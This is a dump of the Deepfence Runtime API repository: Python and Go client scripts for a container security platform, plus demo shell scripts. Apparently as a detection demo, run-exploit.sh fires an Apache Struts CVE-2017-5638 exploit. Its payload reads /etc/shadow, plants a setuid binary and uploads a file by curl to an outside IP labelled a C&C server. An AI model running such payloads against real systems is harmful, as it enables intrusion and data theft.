├── _config.yml ├── scripts ├── node_network_policy │ ├── ip_addresses.txt │ ├── delete_blacklisted_ip_rules.py │ └── blacklist_ips.py ├── user_activity │ ├── requirements.txt │ └── user_activity.py ├── test_api │ ├── requirements.txt │ ├── Dockerfile │ ├── ReadMe.md │ └── test_api.py ├── streaming_api │ ├── go.mod │ ├── go.sum │ ├── ReadMe.md │ ├── type.go │ ├── helper.go │ └── streaming_api.go ├── run-struts.sh ├── Readme.md ├── run-exploit.sh ├── node_tags │ ├── ReadMe.md │ ├── start_vulnerability_scan_for_tag.py │ ├── add_tag_to_nodes.py │ ├── start_compliance_scan_for_tag.py │ └── apply_network_policy_for_tag.py ├── fim_config │ ├── df-sysmon-config.yaml │ ├── test-sysmon-config.yaml │ ├── get_fim_config.py │ ├── fim_config_schema.json │ ├── update_global_fim_config.py │ └── update_fim_config.py ├── packet_capture │ ├── README.md │ ├── get_process_list.py │ ├── stop_packet_capture_for_processes.py │ └── start_packet_capture_for_processes.py ├── alerts │ ├── fetch_recent_alerts.py │ ├── delete_alerts_by_time.py │ └── delete_alerts_by_classtype.py ├── vulnerability_scan │ ├── get_vulnerability_scan_results.py │ ├── schedule_vulnerability_scan.py │ ├── stop_vulnerability_scan.py │ ├── start_vulnerability_scan.py │ └── clean_es_vulnerability_scans.py ├── protection_policy │ ├── get_blocked_ips.py │ └── export_protection_policy.py └── traffic_analysis │ ├── stop_traffic_analysis.py │ └── start_traffic_analysis.py ├── .gitignore └── README.adoc /_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-slate -------------------------------------------------------------------------------- /scripts/node_network_policy/ip_addresses.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/ 2 | scripts/streaming_api/streaming-api -------------------------------------------------------------------------------- /scripts/user_activity/requirements.txt: -------------------------------------------------------------------------------- 1 | python-dateutil==2.8.2 -------------------------------------------------------------------------------- /scripts/test_api/requirements.txt: -------------------------------------------------------------------------------- 1 | requests>=2.24.0 2 | pip>=20.1.1 -------------------------------------------------------------------------------- /scripts/streaming_api/go.mod: -------------------------------------------------------------------------------- 1 | module github.com/deepfence/deepfence_runtime_api/scripts/streaming_api 2 | 3 | go 1.18 4 | 5 | require github.com/gorilla/websocket v1.5.0 6 | -------------------------------------------------------------------------------- /scripts/streaming_api/go.sum: -------------------------------------------------------------------------------- 1 | github.com/gorilla/websocket v1.5.0 h1:PPwGk2jz7EePpoHN/+ClbZu8SPxiqlu12wZP/3sWmnc= 2 | github.com/gorilla/websocket v1.5.0/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= 3 | -------------------------------------------------------------------------------- /scripts/run-struts.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo "Running Apache Struts app container" 3 | docker rm -f struts 4 | docker run -d --name=struts -p 8080:8080 --net=host --security-opt seccomp:unconfined -v /tmp:/tmp deepfenceio/deepfence_apache_struts_app 5 | sleep 30; 6 | curl 127.0.0.1:8080 7 | 8 | -------------------------------------------------------------------------------- /scripts/Readme.md: -------------------------------------------------------------------------------- 1 | This folder contains some sample scripts. 2 | 3 | 1. run-struts.sh This script starts a sample struts container that contains the Equifax exploit. This starts to listen at port 8080 4 | 5 | 2. run-exploit.sh This script runs the attack that was done on the Equifax container. It takes as a parameter the IP address of machine that has the struts container that was started using the script run-struts.sh 6 | 7 | 3. test_api.py A python script to exercise some sample features of the deepfence API subsystem 8 | -------------------------------------------------------------------------------- /scripts/test_api/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.6 2 | MAINTAINER Ramanan R "ramanan@deepfence.io" 3 | RUN apt-get update -y 4 | RUN apt-get install -y python-pip python-dev build-essential 5 | COPY . /app 6 | WORKDIR /app 7 | RUN pip install -r requirements.txt 8 | ## Install Go 9 | RUN wget https://dl.google.com/go/go1.10.linux-amd64.tar.gz && tar -C /usr/local -zxvf go1.10.linux-amd64.tar.gz && mv /usr/local/go /usr/local/go-1.10 && rm go1.10.linux-amd64.tar.gz 10 | ENV GOPATH /home/ubuntu/.go 11 | ENV PATH /usr/local/go-1.10/bin:$PATH 12 | RUN go get -u github.com/gorilla/websocket 13 | CMD ["python", "test_api.py"] -------------------------------------------------------------------------------- /scripts/run-exploit.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | curl $1:8080 3 | echo "Running Exploit Container" 4 | docker rm -f cve-5638-exploit 5 | docker run --name=cve-5638-exploit --net=host deepfenceio/deepfence_apache_struts_exploit http://$1:8080/hello "echo \"\nChecking user id\n-------------------------------------\n\";id;echo \"\nChecking files as Super user\n-------------------------------------\n\";su -c /bin/ls root;echo \"\nCreating new payload pwd.bin\n-------------------------------------\n\";touch /tmp/pwnd.bin; echo \"\nstrace ls -l; sleep 20& kill -11 %1;cat /etc/passwd /etc/shadow \n\">/tmp/pwnd.bin;cat /tmp/pwnd.bin; chmod +x /tmp/pwnd.bin; chmod u+s /tmp/pwnd.bin; /tmp/pwnd.bin; sleep 5; echo \"\nUploading sensitive data to remote C&C server\n-------------------------------------\";curl --upload-file /bin/ls --url http://149.202.52.215/" 6 | -------------------------------------------------------------------------------- /scripts/node_tags/ReadMe.md: -------------------------------------------------------------------------------- 1 | ## Node Tags 2 | 3 | Example scripts to apply tags for some nodes (eg: prod) and run vulnerability scan for nodes with tag=prod 4 | 5 | 1. `add_tag_to_nodes.py` 6 | 7 | Run it 8 | ```shell script 9 | python3 add_tag_to_nodes.py 10 | ``` 11 | `api_key` can be found here in UI: `Settings` => `User Management` 12 | 13 | - Enter `tag` you want to add. Eg: `prod` 14 | - Enter comma separated list of node numbers you want to apply above `tag` 15 | 16 | 2. `start_vulnerability_scan_for_tag.py` 17 | 18 | Filter nodes by tag=prod and run vulnerability scan for those nodes 19 | ```shell script 20 | python3 start_vulnerability_scan_for_tag.py 21 | ``` 22 | - Enter the same `tag` you entered in above step. Eg: `prod` 23 | - Enter comma separated list of node numbers to run vulnerability scan -------------------------------------------------------------------------------- /scripts/test_api/ReadMe.md: -------------------------------------------------------------------------------- 1 | ### Build image to test 2 | ```bash 3 | docker build -t "deepfenceio/deepfence_test_api" . 4 | ``` 5 | 6 | ### Test 7 | ```bash 8 | docker run --rm -it -v ${PWD}:/tmp --name=deepfence_test_api deepfenceio/deepfence_test_api python /app/test_api.py 9 | docker run --rm -it -v ${PWD}:/tmp --name=deepfence_test_api deepfenceio/deepfence_test_api python /app/test_api.py "https://122.122.122.122/deepfence/v1.5" "ewkwekeejkvewkgewqux" 10 | ``` 11 | 12 | ### Running python directly 13 | ```bash 14 | sudo apt-get install python-virtualenv 15 | virtualenv -p python3 test_api_venv 16 | test_api_venv/bin/pip install -r requirements.txt 17 | test_api_venv/bin/python test_api.py 18 | test_api_venv/bin/python test_api.py "https://122.122.122.122/deepfence/v1.5" "ewkwekeejkvewkgewqux" 19 | ``` 20 | 21 | ### Testing websocket streaming 22 | ```bash 23 | docker run --rm -it --name=deepfence_test_api deepfenceio/deepfence_test_api go run /app/websocket_streaming.go -api_url "122.122.122.122" -api_key "ewkwekeejkvewkgewqux" -node_type "host" 24 | ``` -------------------------------------------------------------------------------- /scripts/streaming_api/ReadMe.md: -------------------------------------------------------------------------------- 1 | ## Streaming API 2 | 3 | ### Prerequisites 4 | 5 | - Golang - https://go.dev/doc/install 6 | - git 7 | - ThreatMapper or ThreatStryker management console 8 | 9 | ### Build 10 | 11 | ```shell 12 | git clone https://github.com/deepfence/deepfence_runtime_api 13 | cd deepfence_runtime_api/scripts/streaming_api 14 | go build -o streaming-api . 15 | ``` 16 | 17 | ### Run 18 | 19 | ```shell 20 | ./streaming-api --help 21 | ``` 22 | 23 | - Streaming hosts 24 | ```shell 25 | ./streaming-api \ 26 | --management-console-url=deepfence.customer.com \ 27 | --node-type=hosts \ 28 | --deepfence-key=xxxxxx 29 | ``` 30 | 31 | - Stream hosts, run vulnerability scan on every new host 32 | ```shell 33 | ./streaming-api \ 34 | --management-console-url=deepfence.customer.com \ 35 | --node-type=hosts \ 36 | --deepfence-key=xxxxxx \ 37 | --vulnerability-scan=true 38 | ``` 39 | 40 | - Stream container images, run vulnerability scan on every new container image 41 | ```shell 42 | ./streaming-api \ 43 | --management-console-url=deepfence.customer.com \ 44 | --node-type=containers-by-image \ 45 | --deepfence-key=xxxxxx \ 46 | --vulnerability-scan=true 47 | ``` 48 | -------------------------------------------------------------------------------- /scripts/fim_config/df-sysmon-config.yaml: -------------------------------------------------------------------------------- 1 | monitoredfiles: 2 | - name: "/etc" 3 | accesstype: 4 | - modify 5 | weight: null 6 | - name: "/bin" 7 | accesstype: 8 | - modify 9 | weight: null 10 | - name: "/lib" 11 | accesstype: 12 | - modify 13 | weight: null 14 | - name: "/boot" 15 | accesstype: 16 | - modify 17 | weight: null 18 | - name: "/lib64" 19 | accesstype: 20 | - modify 21 | weight: null 22 | - name: "/var" 23 | accesstype: 24 | - modify 25 | weight: null 26 | - name: "/opt" 27 | accesstype: 28 | - modify 29 | weight: null 30 | - name: "/media" 31 | accesstype: 32 | - modify 33 | weight: null 34 | - name: "/home" 35 | accesstype: 36 | - modify 37 | weight: null 38 | - name: "/tmp" 39 | accesstype: 40 | - modify 41 | weight: null 42 | - name: "/root" 43 | accesstype: 44 | - modify 45 | weight: null 46 | monitoredprocessevents: 47 | - name: "exec" 48 | weight: high 49 | - name: "coredump" 50 | weight: high 51 | - name: "exit" 52 | weight: high 53 | - name: "ptrace" 54 | weight: high 55 | - name: "uid" 56 | weight: high 57 | - name: "gid" 58 | weight: high 59 | -------------------------------------------------------------------------------- /scripts/packet_capture/README.md: -------------------------------------------------------------------------------- 1 | Packet Capture API 2 | 3 | * Get the list of processes running across all agents. 4 | 5 | ``` 6 | python3 get_process_list.py 7 | 8 | Parameters: 9 | 10 | management_console_IP_address: IP address of management console 11 | 12 | API_key: API key 13 | 14 | Output: 15 | 16 | ['nginx', 'java'] 17 | 18 | ``` 19 | 20 | * Start packet capture on all/selected agents. 21 | 22 | ``` 23 | python3 start_packet_capture_for_processes.py 24 | 25 | Parameters: 26 | 27 | management_console_IP_address: IP address of management console. 28 | 29 | API_key: API key 30 | 31 | process_names: comma separated string of process names chosen from step 1 (eg. 'nginx, java, python') 32 | 33 | pcap_mode: either 'allow', 'deny' or 'all'. 'allow' mode is the preferred mode. 34 | 35 | 'allow' means allow the processes in the process list 36 | 'deny' means deny the processes in the process list 37 | 'all' means run packet capture on all processes 38 | 39 | ``` 40 | 41 | * Stop packet capture on all/selected agents. 42 | 43 | ``` 44 | python3 stop_packet_capture_for_processes.py 45 | 46 | Parameters: 47 | 48 | management_console_IP_address: IP address of management console 49 | 50 | API_key: API key 51 | 52 | 53 | ``` 54 | -------------------------------------------------------------------------------- /scripts/fim_config/test-sysmon-config.yaml: -------------------------------------------------------------------------------- 1 | monitoredfiles: 2 | - name: /etc 3 | accesstype: 4 | - modify 5 | - create 6 | - access 7 | - chmod 8 | - rename 9 | - remove 10 | 11 | - name: /bin 12 | accesstype: [] 13 | weight: critical 14 | - name: /lib 15 | accesstype: 16 | - cReaTe 17 | weight: null 18 | - name: /boot 19 | accesstype: 20 | - chMOd 21 | weight: loW 22 | - name: /lib64 23 | accesstype: 24 | - rENAme 25 | weight: meDIUm 26 | - name: /var 27 | accesstype: 28 | - ReMOvE 29 | weight: crITiCaL 30 | - name: /opt 31 | accesstype: 32 | - cReaTe 33 | weight: HigH 34 | - name: /media 35 | accesstype: 36 | - modify 37 | weight: MedIUM 38 | - name: /home 39 | accesstype: 40 | - modify 41 | weight: LOW 42 | - name: /tmp 43 | accesstype: 44 | - modify 45 | weight: cRIticAl 46 | - name: /root 47 | accesstype: 48 | - modify 49 | weight: higH 50 | - name: /deepfence 51 | accesstype: 52 | - rename 53 | - chmod 54 | weight: lOw 55 | - name: /bulk-api-testing 56 | accesstype: 57 | - remove 58 | weight: mediuM 59 | - name: /test 60 | accesstype: 61 | - creatE 62 | weight: critical 63 | monitoredprocessevents: 64 | - name: exec 65 | weight: Critical 66 | - name: coredump 67 | weight: MediuM 68 | - name: exit 69 | weight: Critical 70 | - name: ptrace 71 | weight: CrITICAL 72 | - name: uid 73 | weight: CRITICAL 74 | - name: gid 75 | weight: critical 76 | -------------------------------------------------------------------------------- /scripts/alerts/fetch_recent_alerts.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 3 | 4 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 5 | 6 | 7 | def fetch_alerts(api_url, api_key, time_unit_number, time_unit): 8 | default_headers = {"Content-Type": "application/json", "Authorization": ""} 9 | api_response = requests.post("{0}/users/auth".format(api_url), 10 | json={"api_key": api_key}, headers=default_headers, 11 | verify=False).json() 12 | if api_response["success"]: 13 | print("Authentication successful") 14 | else: 15 | print("Authentication failed") 16 | return 17 | default_headers["Authorization"] = "Bearer " + api_response["data"]["access_token"] 18 | 19 | api_response = requests.post( 20 | "{0}/search?from=0&size=1000&&number={1}&time_unit={2}".format(api_url, time_unit_number, time_unit), 21 | json={"_type": "alert", "_source": [], "filters": {"masked": ["false"], "type": ["alert"]}, "node_filters": {}}, 22 | headers=default_headers, verify=False).json() 23 | 24 | alerts = api_response.get("data", {}).get("hits", []) 25 | 26 | return alerts 27 | 28 | 29 | if __name__ == '__main__': 30 | import sys 31 | 32 | if len(sys.argv) != 5: 33 | print("Usage: python3 fetch_alerts.py ") 34 | # i.e. python3 user_activity.py 167.71.71.71 042c1cd3-0fcc-40e5-8f74-6e6c1d3eca92 1 minute 35 | # time_unit: minute | hour | day | month 36 | exit(1) 37 | alerts = fetch_alerts("https://{0}/deepfence/v1.5".format(sys.argv[1]), sys.argv[2], sys.argv[3], sys.argv[4]) 38 | print(alerts) 39 | -------------------------------------------------------------------------------- /scripts/fim_config/get_fim_config.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import yaml, json 3 | from jsonschema import validate 4 | from jsonschema.exceptions import ValidationError, SchemaError 5 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 6 | 7 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 8 | 9 | 10 | def get_fim_config(api_url, api_key, node_name): 11 | default_headers = {"Content-Type": "application/json", "Authorization": ""} 12 | api_response = requests.post("{0}/users/auth".format(api_url), 13 | json={"api_key": api_key}, headers=default_headers, 14 | verify=False).json() 15 | if api_response["success"]: 16 | print("Authentication successful") 17 | else: 18 | print("Authentication failed") 19 | return 20 | default_headers["Authorization"] = "Bearer " + api_response["data"]["access_token"] 21 | 22 | # We need to find the node_id for this node_name, if not global config 23 | print("\ngetting fim config...") 24 | 25 | try: 26 | response = requests.get("{0}/node/{1}/get_fim_config".format(api_url, node_name), headers=default_headers, 27 | verify=False) 28 | print("response: ", response.text) 29 | fim_config = json.loads(response.text)["data"] 30 | print("fim_config: \n", fim_config) 31 | # print(json.dumps(fim_config, indent=4)) 32 | except: 33 | print("Error in api call") 34 | 35 | 36 | if __name__ == '__main__': 37 | import sys 38 | 39 | if len(sys.argv) < 3: 40 | print("Usage: python3 get_fim_config.py ") 41 | exit(1) 42 | if len(sys.argv) == 3: 43 | node_name = "df_global_default_fim" 44 | else: 45 | node_name = sys.argv[3] 46 | get_fim_config("https://{0}/deepfence/v1.5".format(sys.argv[1]), sys.argv[2], node_name) 47 | -------------------------------------------------------------------------------- /scripts/packet_capture/get_process_list.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 3 | 4 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 5 | 6 | 7 | def get_connected_processes(api_url, api_key): 8 | default_headers = {"Content-Type": "application/json", "Authorization": ""} 9 | api_response = requests.post("{0}/users/auth".format(api_url), 10 | json={"api_key": api_key}, headers=default_headers, 11 | verify=False).json() 12 | if api_response["success"]: 13 | print("Authentication successful") 14 | else: 15 | print("Authentication failed") 16 | return 17 | default_headers["Authorization"] = "Bearer " + api_response["data"]["access_token"] 18 | 19 | enumerate_filters = {"type": ["host"], "pseudo": False} 20 | api_response = requests.post("{0}/enumerate".format(api_url), 21 | json={"filters": enumerate_filters, "size": 5000}, 22 | headers=default_headers, verify=False).json() 23 | connected_process_list = [] 24 | counter = 1 25 | print("\nGetting connected processes in all agents") 26 | api_response_nodes = api_response.get("data", {}).get("data", []) 27 | if not api_response_nodes: 28 | print("No nodes found") 29 | return 30 | for node in api_response_nodes: 31 | if node.get("is_ui_vm", False): 32 | continue 33 | connected_process_list.extend( 34 | [k.split(":")[0] for k, v in node.get("connectedProcesses", {}).items() if k not in connected_process_list]) 35 | counter += 1 36 | print(list(set(connected_process_list))) 37 | 38 | 39 | if __name__ == '__main__': 40 | import sys 41 | 42 | if len(sys.argv) != 3: 43 | print("Usage: python3 get_connected_processes.py ") 44 | exit(1) 45 | get_connected_processes("https://{0}/deepfence/v1.5".format(sys.argv[1]), sys.argv[2]) 46 | -------------------------------------------------------------------------------- /scripts/user_activity/user_activity.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 3 | from dateutil import tz, parser 4 | 5 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 6 | 7 | 8 | def user_activity_log(api_url, api_key, from_time, to_time): 9 | default_headers = {"Content-Type": "application/json", "Authorization": ""} 10 | api_response = requests.post("{0}/users/auth".format(api_url), 11 | json={"api_key": api_key}, headers=default_headers, 12 | verify=False).json() 13 | if api_response["success"]: 14 | print("Authentication successful") 15 | else: 16 | print("Authentication failed") 17 | return 18 | default_headers["Authorization"] = "Bearer " + api_response["data"]["access_token"] 19 | 20 | api_response = requests.post("{0}/user-activity-log".format(api_url), 21 | json={"from_time": from_time, "to_time": to_time}, 22 | headers=default_headers, verify=False).json() 23 | 24 | audit_logs = api_response.get("data", {}).get("user_audit_logs", []) 25 | if audit_logs: 26 | for log in audit_logs: 27 | parsed_created_at = parser.parse(log["created_at"]).astimezone(tz.tzlocal()) 28 | log["created_at"] = str(parsed_created_at) 29 | 30 | return audit_logs 31 | 32 | 33 | if __name__ == '__main__': 34 | import sys 35 | 36 | if len(sys.argv) != 5: 37 | print( 38 | "Usage: python3 user_activity.py ") 39 | # i.e. python3 user_activity.py 167.71.71.71 042c1cd3-0fcc-40e5-8f74-6e6c1d3eca92 "2023-01-31T00:00:00+05:30" "2023-02-06T00:00:00+05:30" 40 | exit(1) 41 | user_audit_logs = user_activity_log("https://{0}/deepfence/v1.5".format(sys.argv[1]), sys.argv[2], sys.argv[3], 42 | sys.argv[4]) 43 | print(user_audit_logs) 44 | -------------------------------------------------------------------------------- /scripts/vulnerability_scan/get_vulnerability_scan_results.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 3 | import csv 4 | import io 5 | 6 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 7 | 8 | 9 | def get_cve_scan_results(api_url, api_key, image_name): 10 | # Auth 11 | default_headers = {"Content-Type": "application/json"} 12 | auth_response = requests.post("{0}/users/auth".format(api_url), json={"api_key": api_key}, headers=default_headers, 13 | verify=False).json() 14 | if auth_response["success"]: 15 | print("Authentication successful") 16 | else: 17 | print("Authentication failed") 18 | return 19 | default_headers["Authorization"] = "Bearer " + auth_response["data"]["access_token"] 20 | 21 | cve_response = requests.post( 22 | "{0}/vulnerability".format(api_url), 23 | json={"filters": {"cve_container_image": [image_name]}, "size": 10000}, 24 | headers=default_headers, verify=False).json() 25 | 26 | cve_response_data = cve_response.get("data", []) 27 | if not cve_response_data: 28 | print("No vulnerabilities found in {0}".format(image_name)) 29 | return 30 | cve_file_name = "vulnerability_scan_results.csv" 31 | with io.open(cve_file_name, mode='w', encoding='utf-8') as results_file: 32 | csv_writer = csv.writer(results_file) 33 | count = 0 34 | for cve_resp in cve_response_data: 35 | if count == 0: 36 | header = cve_resp.keys() 37 | csv_writer.writerow(header) 38 | count += 1 39 | csv_writer.writerow(cve_resp.values()) 40 | results_file.close() 41 | print("Vulnerabilities saved to {0}".format(cve_file_name)) 42 | 43 | 44 | if __name__ == '__main__': 45 | import sys 46 | 47 | if len(sys.argv) != 4: 48 | print("Usage: python3 get_vulnerability_scan_results.py ") 49 | exit(1) 50 | get_cve_scan_results("https://{0}/deepfence/v1.5".format(sys.argv[1]), sys.argv[2], sys.argv[3]) 51 | -------------------------------------------------------------------------------- /README.adoc: -------------------------------------------------------------------------------- 1 | = Deepfence Runtime API v1.5 2 | 3 | [[_overview]] 4 | == Overview 5 | 6 | Deepfence Runtime API provides programmatic control over Deepfence microservice securing your container, kubernetes and cloud deployments. 7 | The API abstracts away underlying infrastructure details like cloud provider, container distros, container orchestrator and type of deployment. 8 | This is one uniform API to manage and control security alerts, policies and response to alerts for microservices running anywhere i.e. managed pure greenfield container deployments or a mix of containers, VMs and serverless paradigms like AWS Fargate. 9 | 10 | [[_documentation]] 11 | == API Reference 12 | 13 | https://deepfence.github.io/deepfence_runtime_api/ 14 | 15 | === Contents 16 | 17 | * https://deepfence.github.io/deepfence_runtime_api/#tag-Authentication[Authentication] 18 | * https://deepfence.github.io/deepfence_runtime_api/#tag-Enumerate[Enumerate] 19 | * link:scripts/streaming_api/[Streaming API] 20 | * https://deepfence.github.io/deepfence_runtime_api/#tag-Node-Control[Node Control] 21 | * https://deepfence.github.io/deepfence_runtime_api/#tag-Alert-Management[Alert Management] 22 | * https://deepfence.github.io/deepfence_runtime_api/#tag-Vulnerability-Management[Vulnerability Management] 23 | * https://deepfence.github.io/deepfence_runtime_api/#tag-Compliance[Compliance] 24 | * https://deepfence.github.io/deepfence_runtime_api/#tag-Network-Protection-Policy[Network Protection Policy] 25 | * https://deepfence.github.io/deepfence_runtime_api/#tag-Network-Protection-Policy-Logs[Network Protection Policy Logs] 26 | * https://deepfence.github.io/deepfence_runtime_api/#tag-Rate-Limit-Policy[Rate Limit Policy] 27 | * https://deepfence.github.io/deepfence_runtime_api/#tag-Quarantine-Protection-Policy[Quarantine Protection Policy] 28 | * https://deepfence.github.io/deepfence_runtime_api/#tag-Quarantine-Protection-Policy-Logs[Quarantine Protection Policy Logs] 29 | * https://deepfence.github.io/deepfence_runtime_api/#tag-Workload-Protection-Policy[Workload Protection Policy] 30 | 31 | [[_examples]] 32 | == API Usage Examples 33 | 34 | * link:scripts/packet_capture/start_packet_capture_for_processes.py[Start packet capture] 35 | * link:scripts/vulnerability_scan/start_vulnerability_scan.py[Start vulnerability scan] -------------------------------------------------------------------------------- /scripts/streaming_api/type.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | type TopologyDiff struct { 4 | Edges struct { 5 | Add interface{} `json:"add"` 6 | Remove interface{} `json:"remove"` 7 | } `json:"edges"` 8 | Metadata struct { 9 | ChildrenCount struct { 10 | _ struct { 11 | Hosts int64 `json:"hosts"` 12 | } `json:""` 13 | } `json:"children_count"` 14 | Connections string `json:"connections"` 15 | } `json:"metadata"` 16 | Nodes struct { 17 | Add []struct { 18 | ID string `json:"id"` 19 | ImmediateParentID string `json:"immediate_parent_id"` 20 | Label string `json:"label"` 21 | LabelMinor string `json:"labelMinor"` 22 | Metadata []struct { 23 | ID string `json:"id"` 24 | Label string `json:"label"` 25 | Priority float64 `json:"priority"` 26 | Value string `json:"value"` 27 | } `json:"metadata"` 28 | Rank string `json:"rank"` 29 | Shape string `json:"shape"` 30 | } `json:"add"` 31 | Remove interface{} `json:"remove"` 32 | Update []struct { 33 | ID string `json:"id"` 34 | ImmediateParentID string `json:"immediate_parent_id"` 35 | Label string `json:"label"` 36 | LabelMinor string `json:"labelMinor"` 37 | Metadata []struct { 38 | DataType string `json:"dataType"` 39 | ID string `json:"id"` 40 | Label string `json:"label"` 41 | Priority float64 `json:"priority"` 42 | Value string `json:"value"` 43 | } `json:"metadata"` 44 | Metrics []struct { 45 | Format string `json:"format"` 46 | Group string `json:"group"` 47 | ID string `json:"id"` 48 | Label string `json:"label"` 49 | Max float64 `json:"max"` 50 | Min float64 `json:"min"` 51 | Priority float64 `json:"priority"` 52 | Samples interface{} `json:"samples"` 53 | URL string `json:"url"` 54 | Value float64 `json:"value"` 55 | } `json:"metrics"` 56 | Parents []struct { 57 | ID string `json:"id"` 58 | Label string `json:"label"` 59 | TopologyID string `json:"topologyId"` 60 | } `json:"parents"` 61 | Rank string `json:"rank"` 62 | Shape string `json:"shape"` 63 | } `json:"update"` 64 | } `json:"nodes"` 65 | Reset bool `json:"reset"` 66 | } 67 | -------------------------------------------------------------------------------- /scripts/fim_config/fim_config_schema.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "http://json-schema.org/draft-07/schema#", 3 | 4 | "title" : "Match anything", 5 | "description" : "This is a schema that matches anything.", 6 | "type": "object", 7 | "properties": { 8 | "monitoredfiles": { 9 | "type": "array", 10 | "items": { 11 | "type": "object", 12 | "properties": { 13 | "name" : { "type": "string" }, 14 | "accesstype" : { 15 | "type": "array", 16 | "items": { 17 | "type": "string", 18 | "anyOf": [ 19 | { "title": "Create", "pattern": "[Cc][Rr][Ee][Aa][Tt][Ee]" }, 20 | { "title": "Modify", "pattern": "[Mm][Oo][Dd][Ii][Ff][Yy]" }, 21 | { "title": "Remove", "pattern": "[Rr][Ee][Mm][Oo][Vv][Ee]" }, 22 | { "title": "Chmod", "pattern": "[Cc][Hh][Mm][Oo][Dd]" }, 23 | { "title": "Rename", "pattern": "[Rr][Ee][Nn][Aa][Mm][Ee]" }, 24 | { "title": "Access", "pattern": "[Aa][Cc][Cc][Ee][Ss][Ss]" } ] 25 | } 26 | }, 27 | "weight" : { 28 | "type": [ "string", "null"], 29 | "anyOf": [ 30 | { "title": "Critical", "pattern": "[Cc][Rr][Ii][Tt][Ii][Cc][Aa][Ll]" }, 31 | { "title": "High", "pattern": "[Hh][Ii][Gg][Hh]" }, 32 | { "title": "Medium", "pattern": "[Mm][Ee][Dd][Ii][Uu][Mm]" }, 33 | { "title": "Low", "pattern": "[Ll][Oo][Ww]" }, 34 | { "title": "Info", "pattern": "[Ii][Nn][Ff][Oo]" } 35 | ] 36 | } 37 | } 38 | } 39 | }, 40 | "monitoredprocessevents": { 41 | "type": "array", 42 | "items": { 43 | "type": "object", 44 | "properties": { 45 | "name" : { "type": "string" }, 46 | "weight" : { 47 | "type": [ "string", "null"], 48 | "anyOf": [ 49 | { "title": "Critical", "pattern": "[Cc][Rr][Ii][Tt][Ii][Cc][Aa][Ll]" }, 50 | { "title": "High", "pattern": "[Hh][Ii][Gg][Hh]" }, 51 | { "title": "Medium", "pattern": "[Mm][Ee][Dd][Ii][Uu][Mm]" }, 52 | { "title": "Low", "pattern": "[Ll][Oo][Ww]" }, 53 | { "title": "Info", "pattern": "[Ii][Nn][Ff][Oo]" } 54 | ] 55 | } 56 | } 57 | } 58 | } 59 | }, 60 | "additionalProperties": false, 61 | "required": ["monitoredfiles"] 62 | } 63 | -------------------------------------------------------------------------------- /scripts/protection_policy/get_blocked_ips.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 3 | import json 4 | 5 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 6 | 7 | 8 | def get_blocked_ips(api_url, api_key): 9 | # Auth 10 | default_headers = {"Content-Type": "application/json"} 11 | auth_response = requests.post("{0}/users/auth".format(api_url), json={"api_key": api_key}, headers=default_headers, 12 | verify=False).json() 13 | if auth_response["success"]: 14 | print("Authentication successful") 15 | else: 16 | print("Authentication failed") 17 | return 18 | default_headers["Authorization"] = "Bearer " + auth_response["data"]["access_token"] 19 | page_no = 1 20 | page_size = 500 21 | protection_policy_actions = requests.get( 22 | "{0}/users/network_protection_policy_action?page_no={1}&size={2}".format(api_url, page_no, page_size), 23 | headers=default_headers, verify=False).json() 24 | if not protection_policy_actions.get("success", False): 25 | print(protection_policy_actions.get("error", "")) 26 | return 27 | if not protection_policy_actions.get("data", {}).get("network_protection_policy_actions", []): 28 | print("No ip addresses blocked by network policy") 29 | return 30 | total_size = protection_policy_actions["data"]["total"] 31 | blocked_ips = protection_policy_actions["data"]["network_protection_policy_actions"] 32 | while len(blocked_ips) < total_size: 33 | page_no += 1 34 | protection_policy_actions = requests.get( 35 | "{0}/users/network_protection_policy_action?page_no={1}&size={2}".format(api_url, page_no, page_size), 36 | headers=default_headers, verify=False).json() 37 | blocked_ips.extend(protection_policy_actions["data"]["network_protection_policy_actions"]) 38 | print("Total blocked ips:", len(blocked_ips)) 39 | for blocked_ip_detail in blocked_ips: 40 | print(json.dumps(blocked_ip_detail, indent=2)) 41 | 42 | 43 | if __name__ == '__main__': 44 | import sys 45 | 46 | if len(sys.argv) != 3: 47 | print("Usage: python3 get_blocked_ips.py ") 48 | exit(1) 49 | get_blocked_ips("https://{0}/deepfence/v1.5".format(sys.argv[1]), sys.argv[2]) 50 | -------------------------------------------------------------------------------- /scripts/protection_policy/export_protection_policy.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 3 | import json 4 | 5 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 6 | 7 | 8 | def export_protection_policy(api_url, api_key): 9 | # Auth 10 | default_headers = {"Content-Type": "application/json"} 11 | auth_response = requests.post("{0}/users/auth".format(api_url), json={"api_key": api_key}, headers=default_headers, 12 | verify=False).json() 13 | if auth_response["success"]: 14 | print("Authentication successful") 15 | else: 16 | print("Authentication failed") 17 | return 18 | default_headers["Authorization"] = "Bearer " + auth_response["data"]["access_token"] 19 | 20 | response = requests.post("{0}/export".format(api_url), headers=default_headers, 21 | json={"resource_types": ["network_protection_policy"]}) 22 | print("Exported the protection policies") 23 | 